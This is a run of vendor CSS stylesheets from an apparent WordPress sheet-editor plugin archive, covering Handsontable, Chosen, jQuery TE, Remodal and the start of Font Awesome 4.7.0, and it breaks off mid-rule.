.handsontable.on-moving--rows .ht__manualRowMove--backlight { display: block; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"]:not([class*="fullySelectedMergedCell"]):before { opacity: 0; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-multiple"]:before { opacity: 0.1; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-0"]:before { opacity: 0.1; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-1"]:before { opacity: 0.2; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-2"]:before { opacity: 0.27; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-3"]:before { opacity: 0.35; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-4"]:before { opacity: 0.41; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-5"]:before { opacity: 0.47; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-6"]:before { opacity: 0.54; } .handsontable tbody td[rowspan][class*="area"][class*="highlight"][class*="fullySelectedMergedCell-7"]:before { opacity: 0.58; } /*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.8.3 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011-2018 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */.chosen-container{position:relative;display:inline-block;vertical-align:middle;font-size:13px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.chosen-container *{-webkit-box-sizing:border-box;box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff;-webkit-box-shadow:0 4px 5px rgba(0,0,0,.15);box-shadow:0 4px 5px rgba(0,0,0,.15);display:none}.chosen-container.chosen-with-drop .chosen-drop{display:block}.chosen-container a{cursor:pointer}.chosen-container .chosen-single .group-name,.chosen-container .search-choice .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:400;color:#999}.chosen-container .chosen-single .group-name:after,.chosen-container .search-choice .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:0 0 0 8px;height:25px;border:1px solid #aaa;border-radius:5px;background-color:#fff;background:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#fff),color-stop(50%,#f6f6f6),color-stop(52%,#eee),to(#f4f4f4));background:linear-gradient(#fff 20%,#f6f6f6 50%,#eee 52%,#f4f4f4 100%);background-clip:padding-box;-webkit-box-shadow:0 0 3px #fff inset,0 1px 1px rgba(0,0,0,.1);box-shadow:0 0 3px #fff inset,0 1px 1px rgba(0,0,0,.1);color:#444;text-decoration:none;white-space:nowrap;line-height:24px}.chosen-container-single .chosen-single input[type=text]{cursor:pointer;opacity:0;position:absolute}.chosen-container-single .chosen-default{color:#999}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;text-overflow:ellipsis;white-space:nowrap}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:6px;right:26px;display:block;width:12px;height:12px;background:url("../images/chosen-sprite.png") -42px 1px no-repeat;font-size:1px}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:0;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../images/chosen-sprite.png") no-repeat 0 2px}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type=text]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:url("../images/chosen-sprite.png") no-repeat 100% -20px;font-size:1em;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;clip:rect(0,0,0,0)}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#3875d7;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#3875d7),color-stop(90%,#2a62bc));background-image:linear-gradient(#3875d7 20%,#2a62bc 90%);color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:700;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-multi .chosen-choices{position:relative;overflow:hidden;margin:0;padding:0 5px;width:100%;height:auto;border:1px solid #aaa;background-color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(1%,#eee),color-stop(15%,#fff));background-image:linear-gradient(#eee 1%,#fff 15%);cursor:text}.chosen-container-multi .chosen-choices li{float:left;list-style:none}.chosen-container-multi .chosen-choices li.search-field{margin:0;padding:0;white-space:nowrap}.chosen-container-multi .chosen-choices li.search-field input[type=text]{margin:1px 0;padding:0;height:25px;outline:0;border:0!important;background:0 0!important;-webkit-box-shadow:none;box-shadow:none;color:#999;font-size:100%;font-family:sans-serif;line-height:normal;border-radius:0;width:25px}.chosen-container-multi .chosen-choices li.search-choice{position:relative;margin:3px 5px 3px 0;padding:3px 20px 3px 5px;border:1px solid #aaa;max-width:100%;border-radius:3px;background-color:#eee;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#f4f4f4),color-stop(50%,#f0f0f0),color-stop(52%,#e8e8e8),to(#eee));background-image:linear-gradient(#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);background-size:100% 19px;background-repeat:repeat-x;background-clip:padding-box;-webkit-box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);color:#333;line-height:13px;cursor:default}.chosen-container-multi .chosen-choices li.search-choice span{word-wrap:break-word}.chosen-container-multi .chosen-choices li.search-choice .search-choice-close{position:absolute;top:4px;right:3px;display:block;width:12px;height:12px;background:url("../images/chosen-sprite.png") -42px 1px no-repeat;font-size:1px}.chosen-container-multi .chosen-choices li.search-choice .search-choice-close:hover{background-position:-42px -10px}.chosen-container-multi .chosen-choices li.search-choice-disabled{padding-right:5px;border:1px solid #ccc;background-color:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#f4f4f4),color-stop(50%,#f0f0f0),color-stop(52%,#e8e8e8),to(#eee));background-image:linear-gradient(#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);color:#666}.chosen-container-multi .chosen-choices li.search-choice-focus{background:#d4d4d4}.chosen-container-multi .chosen-choices li.search-choice-focus .search-choice-close{background-position:-42px -10px}.chosen-container-multi .chosen-results{margin:0;padding:0}.chosen-container-multi .chosen-drop .result-selected{display:list-item;color:#ccc;cursor:default}.chosen-container-active .chosen-single{border:1px solid #5897fb;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#eee),color-stop(80%,#fff));background-image:linear-gradient(#eee 20%,#fff 80%);-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:0 0}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.chosen-container-active .chosen-choices li.search-field input[type=text]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type=text]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:none}.chosen-rtl .chosen-search input[type=text]{padding:4px 5px 4px 20px;background:url("../images/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span,.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container-single .chosen-search input[type=text],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-rtl .chosen-search input[type=text]{background-image:url(chosen-sprite@2x.png)!important;background-size:52px 37px!important;background-repeat:no-repeat!important}} /*! * * jQuery TE 1.4.0 , http://jqueryte.com/ * Copyright (C) 2013, Fatih Koca (fattih@fattih.com), (http://jqueryte.com/about) * jQuery TE is provided under the MIT LICENSE. * */ /* editor's general field */ .jqte { margin:30px 0; border:#000 1px solid; border-radius:5px; -webkit-border-radius:5px; -moz-border-radius:5px; box-shadow:0 0 3px #999; -webkit-box-shadow:0 0 3px #999; -moz-box-shadow:0 0 3px #999; overflow:hidden; transition:box-shadow 0.4s, border 0.4s; -webkit-transition:-webkit-box-shadow 0.4s, border 0.4s; -moz-transition:-moz-box-shadow 0.4s, border 0.4s; -o-transition:-o-box-shadow 0.4s, border 0.4s; } .jqte * { color:#333; font-family:Arial, Helvetica, sans-serif; font-size:14px; } .jqte_focused { border-color:#00AAE7; box-shadow:0 0 10px #00BDFF; -webkit-box-shadow:0 0 10px #00BDFF; -moz-box-shadow:0 0 10px #00BDFF; } /* toolbar */ .jqte_toolbar { overflow:auto; padding:3px 4px; background:#EEE; border-bottom:#BBB 1px solid; } .jqte_tool { float:left; margin:0; padding:0; cursor:pointer; } .jqte_tool, .jqte_tool_icon, .jqte_tool_label { border:#EEE 1px solid; border-radius:3px; -webkit-border-radius:3px; -moz-border-radius:3px } .jqte_hiddenField { display:none } .jqte_tool_icon { display:block; width:22px; height:22px; background:url(jquery-te.png) no-repeat } .jqte_tool.jqte_tool_1 .jqte_tool_label { position:relative; display:block; padding:3px; width:70px; height:16px; overflow:hidden; } .jqte_tool.jqte_tool_1 .jqte_tool_text { font:bold 13px Arial,sans-serif; color:#222; } .jqte_tool.jqte_tool_1 .jqte_tool_icon { position:absolute; top:10px; right:2px; width:6px; height:4px; background-position:-19px -23px; border:none; border-radius:none; -webkit-border-radius:none; -moz-border-radius:none } .jqte_tool.jqte_tool_2 .jqte_tool_icon { background-position:0 0 } .jqte_tool.jqte_tool_3 .jqte_tool_icon { background-position:-22px 0 } .jqte_tool.jqte_tool_4 .jqte_tool_icon { background-position:-44px 0 } .jqte_tool.jqte_tool_5 .jqte_tool_icon { background-position:-66px 0 } .jqte_tool.jqte_tool_6 .jqte_tool_icon { background-position:-88px 0 } .jqte_tool.jqte_tool_7 .jqte_tool_icon { background-position:-110px 0 } .jqte_tool.jqte_tool_8 .jqte_tool_icon { background-position:-132px 0 } .jqte_tool.jqte_tool_9 .jqte_tool_icon { background-position:-154px 0 } .jqte_tool.jqte_tool_10 .jqte_tool_icon { background-position:-176px 0 } .jqte_tool.jqte_tool_11 .jqte_tool_icon { background-position:-198px 0 } .jqte_tool.jqte_tool_12 .jqte_tool_icon { background-position:-220px 0 } .jqte_tool.jqte_tool_13 .jqte_tool_icon { background-position:-242px 0 } .jqte_tool.jqte_tool_14 .jqte_tool_icon { background-position:-264px 0 } .jqte_tool.jqte_tool_15 .jqte_tool_icon { background-position:-286px 0 } .jqte_tool.jqte_tool_16 .jqte_tool_icon { background-position:-308px 0 } .jqte_tool.jqte_tool_17 .jqte_tool_icon { background-position:-330px 0 } .jqte_tool.jqte_tool_18 .jqte_tool_icon { background-position:-352px 0 } .jqte_tool.jqte_tool_19 .jqte_tool_icon { background-position:-374px 0 } .jqte_tool.jqte_tool_20 .jqte_tool_icon { background-position:-396px 0 } .jqte_tool.jqte_tool_21 .jqte_tool_icon { background-position:-418px 0 } .jqte_tool:hover { background-color:#FFF; border-color:#FFF } .jqte_tool:hover .jqte_tool_icon, .jqte_tool:hover .jqte_tool_label { border:#AAA 1px solid } .jqte_tool:active .jqte_tool_icon, .jqte_tool:active .jqte_tool_label { border:#777 1px solid } .jqte_tool.jqte_tool_1:hover .jqte_tool_icon, .jqte_tool.jqte_tool_1:active .jqte_tool_icon { border:none } .jqte_tool_depressed { background-color:#DDD; border-color:#CCC } .jqte_tool_depressed .jqte_tool_icon { border-color:#AAA } .jqte_tool_depressed:hover { background-color:#EEE } /* link form area */ .jqte_linkform { padding:5px 10px; background:#DDD; border-bottom:#BBB 1px solid; } .jqte_linktypeselect { position:relative; float:left; width:130px; background:#EEE; cursor:pointer } .jqte_linktypeselect:Active { background:#FFF } .jqte_linktypeview { padding:3px 5px; border:#333 1px solid; color:#777; border-radius:3px; -webkit-border-radius:3px; -moz-border-radius:3px; outline:none } .jqte_linktypetext { font-size:12px; } .jqte_linktypearrow { position:absolute; bottom:8px; right:6px; width:7px; height:6px; margin:0 auto; background:url(jquery-te.png) -7px -23px no-repeat; } .jqte_linktypes { display:none; position:absolute; top:22px; left:1px; width:125px; background:#FFF; border:#333 1px solid; box-shadow:0 1px 4px #AAA; -webkit-box-shadow:0 1px 4px #AAA; -moz-box-shadow:0 1px 4px #AAA } .jqte_linktypes a { display:block; padding:4px 5px; font-size:12px; } .jqte_linktypes a:hover { background:#DDD } .jqte_linkinput { float:left; margin:0 5px; padding:3px 5px; width:300px; background:#EEE; border:#333 1px solid; color:#777; font-size:12px; border-radius:3px; -webkit-border-radius:3px; -moz-border-radius:3px; outline:none; } .jqte_linkinput:focus, .jqte_linkinput:hover { background:#FFF; border-color:#000; } .jqte_linkbutton { float:left; padding:3px 12px; background:#AAA; border:#333 1px solid; color:#FFF; font-size:12px; font-weight:bold; cursor:pointer; border-radius:3px; -webkit-border-radius:3px; -moz-border-radius:3px; box-shadow:inset 0 1px #EEE; -webkit-box-shadow:inset 0 1px #EEE; -moz-box-shadow:inset 0 1px #EEE; } .jqte_linkbutton:hover { background:#A1A1A1 } .jqte_linkbutton:active { box-shadow:inset 0 1px #CCC; -webkit-box-shadow:inset 0 1px #CCC; -moz-box-shadow:inset 0 1px #CCC; background:#888; } /* text format menu */ .jqte_formats { display:none; position:absolute; width:180px; oveflow-x:hidden; overflow-y:auto; background:#FFF; border:#AAA 1px solid; box-shadow:0 0 5px #AAA; -webkit-box-shadow:0 0 5px #AAA; -moz-box-shadow:0 0 5px #AAA; z-index:100; } .jqte_format { display:block; padding:4px 7px; font-size:13px } .jqte_format:hover { background:#DDD } .jqte_format_1, .jqte_format_2, .jqte_format_3, .jqte_format_4, .jqte_format_5, .jqte_format_6 { font-weight:bold } .jqte_format_1 { font-size:22px } .jqte_format_2 { font-size:20px } .jqte_format_3 { font-size:18px } .jqte_format_4 { font-size:16px } .jqte_format_5 { font-size:14px } .jqte_format_6 { font-size:12px } .jqte_format_7 { font-family:"Courier New", Courier, monospace } /* font size menu */ .jqte_fontsizes { display:none; position:absolute; width:180px; height:198px; oveflow-x:hidden; overflow-y:auto; background:#FFF; border:#AAA 1px solid; box-shadow:0 0 5px #AAA; -webkit-box-shadow:0 0 5px #AAA; -moz-box-shadow:0 0 5px #AAA } .jqte_fontsize { display:block; padding:3px 7px; } .jqte_fontsize:hover { background:#DDD } /* color pallette */ .jqte_cpalette { display:none; position:absolute; padding:6px; width:144px; background:#FFF; border:#AAA 1px solid; box-shadow:0 0 5px #AAA; -webkit-box-shadow:0 0 5px #AAA; -moz-box-shadow:0 0 5px #AAA } .jqte_color { display:block; float:left; width:16px; height:16px; border:#FFF 1px solid; } .jqte_color:hover { border-color:#000 } .jqte_colorSeperator { float:none; clear:both; height:7px; } /* editor area */ .jqte_editor, .jqte_source { padding:10px; background:#FFF; min-height:100px; max-height:900px; overflow:auto; outline:none; word-wrap:break-word; -ms-word-wrap:break-word; resize:vertical } .jqte_editor div, .jqte_editor p { margin:0 0 7px } .jqte_editor a:link, .jqte_editor a:link * { color:#0066FF !important; text-decoration:underline; } .jqte_editor blockquote { margin-top:0; margin-bottom:7px } .jqte_editor img { float:left; margin:0 10px 5px 0 } .jqte_editor a[jqte-setlink], .jqte_editor a[jqte-setlink] * { background:#3297FD !important; color:#FFF !important } .jqte_editor h1, .jqte_editor h2, .jqte_editor h3, .jqte_editor h4, .jqte_editor h5, .jqte_editor h6, .jqte_editor pre { display:block; margin:0 0 3px; } .jqte_editor h1, .jqte_editor h1 * { font-size:26px } .jqte_editor h2, .jqte_editor h2 * { font-size:24px } .jqte_editor h3, .jqte_editor h3 * { font-size:22px } .jqte_editor h4, .jqte_editor h4 * { font-size:20px } .jqte_editor h5, .jqte_editor h5 * { font-size:18px } .jqte_editor h6, .jqte_editor h6 * { font-size:15px } .jqte_editor pre, .jqte_editor pre * { font-family:"Courier New", Courier, monospace } /* source area */ .jqte_source, .jqte_source textarea { background:#FFF1E8 } .jqte_source textarea { margin:0 !important; padding:0 !important; display:block !important; width:100% !important; min-height:100px; font-family:Courier, Arial, sans-serif !important; font-weight:normal; font-size:15px; overflow:hidden !important; outline:none; resize:none; } .jqte_source textarea, .jqte_source textarea:focus { css_shadow:none !important; background:none !important; border:none !important; } /* title box */ .jqte_title { display:none; position:absolute; z-index:9999; } .jqte_titleArrow { position:relative; } .jqte_titleArrowIcon { width:7px; height:6px; margin:0 auto; background:url(jquery-te.png) 0 -23px no-repeat; } .jqte_titleText { padding:5px 7px; margin-top:0; min-width:5px; min-height:1px; max-width:400px; background:#000; border-radius:3px; -webkit-border-radius:3px; -moz-border-radius:3px; word-wrap:break-word; -ms-word-wrap:break-word } .jqte_titleText, .jqte_titleText * { color:#FFF; font-size:11px } /* placeholder */ .jqte_placeholder { position:relative; display:none; } .jqte_placeholder_text { position:absolute; top:43px; left:10px; font-size:14px; color:#CCC; } /* * Remodal - v1.0.7 * Responsive, lightweight, fast, synchronized with CSS animations, fully customizable modal window plugin with declarative configuration and hash tracking. * http://vodkabears.github.io/remodal/ * * Made by Ilya Makarov * Under MIT License */ /* ========================================================================== Remodal's necessary styles ========================================================================== */ /* Hide scroll bar */ html.remodal-is-locked { overflow: hidden; -ms-touch-action: none; touch-action: none; } /* Anti FOUC */ .remodal, [data-remodal-id] { display: none; } /* Necessary styles of the overlay */ .remodal-overlay { position: fixed; z-index: 9999; top: -5000px; right: -5000px; bottom: -5000px; left: -5000px; display: none; } /* Necessary styles of the wrapper */ .remodal-wrapper { position: fixed; z-index: 10000; top: 0; right: 0; bottom: 0; left: 0; display: none; overflow: auto; text-align: center; -webkit-overflow-scrolling: touch; } .remodal-wrapper:after { display: inline-block; height: 100%; margin-left: -0.05em; content: ""; } /* Fix iPad, iPhone glitches */ .remodal-overlay, .remodal-wrapper { -webkit-backface-visibility: hidden; backface-visibility: hidden; } /* Necessary styles of the modal dialog */ .remodal { position: relative; outline: none; -webkit-text-size-adjust: 100%; -moz-text-size-adjust: 100%; -ms-text-size-adjust: 100%; text-size-adjust: 100%; } .remodal-is-initialized { /* Disable Anti-FOUC */ display: inline-block; } /* * Remodal - v1.0.7 * Responsive, lightweight, fast, synchronized with CSS animations, fully customizable modal window plugin with declarative configuration and hash tracking. * http://vodkabears.github.io/remodal/ * * Made by Ilya Makarov * Under MIT License */ /* ========================================================================== Remodal's default mobile first theme ========================================================================== */ /* Default theme styles for the background */ .remodal-bg.remodal-is-opening, .remodal-bg.remodal-is-opened { -webkit-filter: blur(3px); filter: blur(3px); } /* Default theme styles of the overlay */ .remodal-overlay { background: rgba(43, 46, 56, 0.9); } .remodal-overlay.remodal-is-opening, .remodal-overlay.remodal-is-closing { -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; } .remodal-overlay.remodal-is-opening { -webkit-animation-name: remodal-overlay-opening-keyframes; animation-name: remodal-overlay-opening-keyframes; } .remodal-overlay.remodal-is-closing { -webkit-animation-name: remodal-overlay-closing-keyframes; animation-name: remodal-overlay-closing-keyframes; } /* Default theme styles of the wrapper */ .remodal-wrapper { padding: 10px 10px 0; } /* Default theme styles of the modal dialog */ .remodal { -webkit-box-sizing: border-box; box-sizing: border-box; width: 100%; margin-bottom: 10px; padding: 35px; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); color: #2b2e38; background: #fff; } .remodal.remodal-is-opening, .remodal.remodal-is-closing { -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; } .remodal.remodal-is-opening { -webkit-animation-name: remodal-opening-keyframes; animation-name: remodal-opening-keyframes; } .remodal.remodal-is-closing { -webkit-animation-name: remodal-closing-keyframes; animation-name: remodal-closing-keyframes; } /* Vertical align of the modal dialog */ .remodal, .remodal-wrapper:after { vertical-align: middle; } /* Close button */ .remodal-close { position: absolute; top: 0; left: 0; display: block; overflow: visible; width: 35px; height: 35px; margin: 0; padding: 0; cursor: pointer; -webkit-transition: color 0.2s; transition: color 0.2s; text-decoration: none; color: #95979c; border: 0; outline: 0; background: transparent; } .remodal-close:hover, .remodal-close:focus { color: #2b2e38; } .remodal-close:before { font-family: Arial, "Helvetica CY", "Nimbus Sans L", sans-serif !important; font-size: 25px; line-height: 35px; position: absolute; top: 0; left: 0; display: block; width: 35px; content: "\00d7"; text-align: center; } /* Dialog buttons */ .remodal-confirm, .remodal-cancel { font: inherit; display: inline-block; overflow: visible; min-width: 110px; margin: 0; padding: 12px 0; cursor: pointer; -webkit-transition: background 0.2s; transition: background 0.2s; text-align: center; vertical-align: middle; text-decoration: none; border: 0; outline: 0; } .remodal-confirm { color: #fff; background: #81c784; } .remodal-confirm:hover, .remodal-confirm:focus { background: #66bb6a; } .remodal-cancel { color: #fff; background: #e57373; } .remodal-cancel:hover, .remodal-cancel:focus { background: #ef5350; } /* Remove inner padding and border in Firefox 4+ for the button tag. */ .remodal-confirm::-moz-focus-inner, .remodal-cancel::-moz-focus-inner, .remodal-close::-moz-focus-inner { padding: 0; border: 0; } /* Keyframes ========================================================================== */ @-webkit-keyframes remodal-opening-keyframes { from { -webkit-transform: scale(1.05); transform: scale(1.05); opacity: 0; } to { -webkit-transform: none; transform: none; opacity: 1; } } @keyframes remodal-opening-keyframes { from { -webkit-transform: scale(1.05); transform: scale(1.05); opacity: 0; } to { -webkit-transform: none; transform: none; opacity: 1; } } @-webkit-keyframes remodal-closing-keyframes { from { -webkit-transform: scale(1); transform: scale(1); opacity: 1; } to { -webkit-transform: scale(0.95); transform: scale(0.95); opacity: 0; } } @keyframes remodal-closing-keyframes { from { -webkit-transform: scale(1); transform: scale(1); opacity: 1; } to { -webkit-transform: scale(0.95); transform: scale(0.95); opacity: 0; } } @-webkit-keyframes remodal-overlay-opening-keyframes { from { opacity: 0; } to { opacity: 1; } } @keyframes remodal-overlay-opening-keyframes { from { opacity: 0; } to { opacity: 1; } } @-webkit-keyframes remodal-overlay-closing-keyframes { from { opacity: 1; } to { opacity: 0; } } @keyframes remodal-overlay-closing-keyframes { from { opacity: 1; } to { opacity: 0; } } /* Media queries ========================================================================== */ @media only screen and (min-width: 641px) { .remodal { max-width: 700px; } } /* IE8 ========================================================================== */ .lt-ie9 .remodal-overlay { background: #2b2e38; } .lt-ie9 .remodal { width: 700px; } modules/wp-sheet-editor/assets/vendor/css/libraries.min.css000064400000256623147600365160020121 0ustar00/*! * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:FontAwesome;src:url(../fonts/fontawesome-webfont.eot?v=4.7.0);src:url(../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0) format('embedded-opentype'),url(../fonts/fontawesome-webfont.woff2?v=4.7.0) format('woff2'),url(../fonts/fontawesome-webfont.woff?v=4.7.0) format('woff'),url(../fonts/fontawesome-webfont.ttf?v=4.7.0) format('truetype'),url(../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular) format('svg');font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-rotate-90{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-close:before,.fa-remove:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-cog:before,.fa-gear:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-repeat:before,.fa-rotate-right:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.f